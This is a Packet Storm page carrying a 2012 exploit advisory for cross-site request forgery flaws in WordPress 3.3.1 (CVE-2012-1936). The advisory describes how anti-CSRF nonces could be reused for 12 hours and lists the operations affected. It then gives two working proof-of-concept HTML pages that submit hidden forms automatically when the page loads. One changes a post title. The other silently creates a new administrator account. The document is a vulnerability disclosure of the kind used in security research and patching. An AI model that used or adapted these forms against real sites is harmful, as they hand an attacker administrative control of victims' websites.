what you don't know can hurt you

WordPress 3.3.1 Cross Site Request Forgery

WordPress 3.3.1 Cross Site Request Forgery
Posted Apr 26, 2012
Authored by Ivano Binetti

WordPress version 3.3.1 suffers from multiple cross site request forgery vulnerabilities.

tags | exploit, vulnerability, csrf
advisories | CVE-2012-1936
SHA-256 | 5d270a4a9e3a00c5614ed575a419579789d3ceb43e92a688e8d88dcec5bf4fff

WordPress 3.3.1 Cross Site Request Forgery

Change Mirror Download
+---------------------------------------------------------------------------------------------------------------------------------------------------+
# Exploit Title : Wordpress 3.3.1 Multiple CSRF Vulnerabilities
# Date : 19-03-2012
# Author : Ivano Binetti (http://www.ivanobinetti.com)
# Software link : http://wordpress.org/wordpress-3.3.1.zip
# Vendor site : http://wordpress.org
# Version : 3.3.1 (and lower). Probably also version 3.3.2 is affected.
# Tested on : Debian Squeeze (6.0)
# CVE : CVE-2012-1936
# Original Advisory : http://www.webapp-security.com/2012/04/wordpress-3-3-1-multiple-csrf-vulnerabilities/
# Other Advisory : http://packetstormsecurity.org/files/112253/WordPress-3.3.1-Cross-Site-Request-Forgery.html
+---------------------------------------------------------------------------------------------------------------------------------------------------+
Summary
1)Introduction
2)Vulnerabilities Description
2.1 Multiple CSRF
3)Exploit
3.1 CSRF (Change Post Title)
3.2 CSRF (Add Admin)
+---------------------------------------------------------------------------------------------------------------------------------------------------+
1)Introduction
WordPress "is web software you can use to create a beautiful website or blog. We like to say that WordPress is both free and priceless at
the same time."

2)Vulnerability Description
2.1 Multiple CSRF
Wordpress 3.3.1 suffers from multiple CSRF vulnerabilities which allow an attacker to change post title, add
administrators/users, delete administrators/users, approve and unapprove comment, delete comment, change background image, insert custom
header image, change site title, change administrator's email, change Wordpress Address, change Site Address, when an authenticated user/admin
browses a special crafted web page. May be other parameters can be modified.
This vulnerability is caused by a security flaw in anti-CSRF token (_wpnonce, _wpnonce_create-user, _ajax_nonce,
_wpnonce-custom-background-upload, _wpnonce-custom-header-upload) generation. For some operations (see below) above specified anti-CSRF tokens are
not associated with the current user session (as Owasp recommends) but are the are valid for all operations (for a specific administrator/user)
within 12 hour.
The above described vulnerability allows an attacker - who has sniffed anti-CSRF token - to have 12 hour to perform a CSRF attack.
For Owasp recommendation about anti-CSRF token, you can read the following document:
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29_Prevention_Cheat_Sheet#General_Recommendation:_Synchronizer_Token_Pattern
This problem affects the following operations:
- Add Admin/User
- Delete Admin/User
- Approve comment
- Unapprove comment
- Delete comment
- Change background image
- Insert custom header image
- Change site title
- Change administrator's email
- Change Wordpress Address
- Change Site Address
Other operations (like insert a new post) are not affected by this CSRF vulnerability.
In this Advisory I will only demonstrate how to change post title and how to add a new administrator account.

3)Exploit

3.1 CSRF (Change Post Title)
<html>
<body onload="javascript:document.forms[0].submit()">
<H2>CSRF Exploit to change post title</H2>
<form method="POST" name="form0" action="http://<wordpress_ip>:80/wp-admin/admin-ajax.php">
<input type="hidden" name="post_title" value="hackedtitle"/>
<input type="hidden" name="post_name" value="hackedtitle"/>
<input type="hidden" name="mm" value="03"/>
<input type="hidden" name="jj" value="16"/>
<input type="hidden" name="aa" value="2012"/>
<input type="hidden" name="hh" value=""/>
<input type="hidden" name="mn" value=""/>
<input type="hidden" name="ss" value=""/>
<input type="hidden" name="post_author" value="1"/>
<input type="hidden" name="post_password" value=""/>
<input type="hidden" name="post_category%5B%5D" value="0"/>
<input type="hidden" name="post_category%5B%5D" value="1"/>
<input type="hidden" name="tax_input%5Bpost_tag%5D" value=""/>
<input type="hidden" name="comment_status" value="open"/>
<input type="hidden" name="ping_status" value="open"/>
<input type="hidden" name="_status" value="publish"/>
<input type="hidden" name="post_format" value="0"/>
<input type="hidden" name="_inline_edit" value="<sniffed_value>"/>
<input type="hidden" name="post_view" value="list"/>
<input type="hidden" name="screen" value="edit-post"/>
<input type="hidden" name="action" value="inline-save"/>
<input type="hidden" name="post_type" value="post"/>
<input type="hidden" name="post_ID" value="1"/>
<input type="hidden" name="edit_date" value="true"/>
<input type="hidden" name="post_status" value="all"/>
</form>
</body>
</html>

Note: this exploit simulate changing of post title using "Quick Edit" function

3.2 CSRF (Add Admin)
<html>
<body onload="javascript:document.forms[0].submit()">
<H2>CSRF Exploit to add Administrator</H2>
<form method="POST" name="form0" action="http://<wordpress_ip>:80/wp-admin/user-new.php">
<input type="hidden" name="action" value="createuser"/>
<input type="hidden" name="_wpnonce_create-user" value="<sniffed_value>"/>
<input type="hidden" name="_wp_http_referer" value="%2Fwordpress%2Fwp-admin%2Fuser-new.php"/>
<input type="hidden" name="user_login" value="admin2"/>
<input type="hidden" name="email" value="admin2@admin.com"/>
<input type="hidden" name="first_name" value="admin2@admin.com"/>
<input type="hidden" name="last_name" value=""/>
<input type="hidden" name="url" value=""/>
<input type="hidden" name="pass1" value="password"/>
<input type="hidden" name="pass2" value="password"/>
<input type="hidden" name="role" value="administrator"/>
<input type="hidden" name="createuser" value="Add+New+User+"/>
</form>
</body>
</html>
+--------------------------------------------------------------------------------------------------------------------------------------------------+
Login or Register to add favorites

File Archive:

May 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    0 Files
  • 2
    May 2nd
    15 Files
  • 3
    May 3rd
    19 Files
  • 4
    May 4th
    24 Files
  • 5
    May 5th
    15 Files
  • 6
    May 6th
    14 Files
  • 7
    May 7th
    0 Files
  • 8
    May 8th
    0 Files
  • 9
    May 9th
    13 Files
  • 10
    May 10th
    7 Files
  • 11
    May 11th
    99 Files
  • 12
    May 12th
    45 Files
  • 13
    May 13th
    7 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    16 Files
  • 17
    May 17th
    26 Files
  • 18
    May 18th
    4 Files
  • 19
    May 19th
    17 Files
  • 20
    May 20th
    2 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    6 Files
  • 24
    May 24th
    19 Files
  • 25
    May 25th
    5 Files
  • 26
    May 26th
    12 Files
  • 27
    May 27th
    12 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close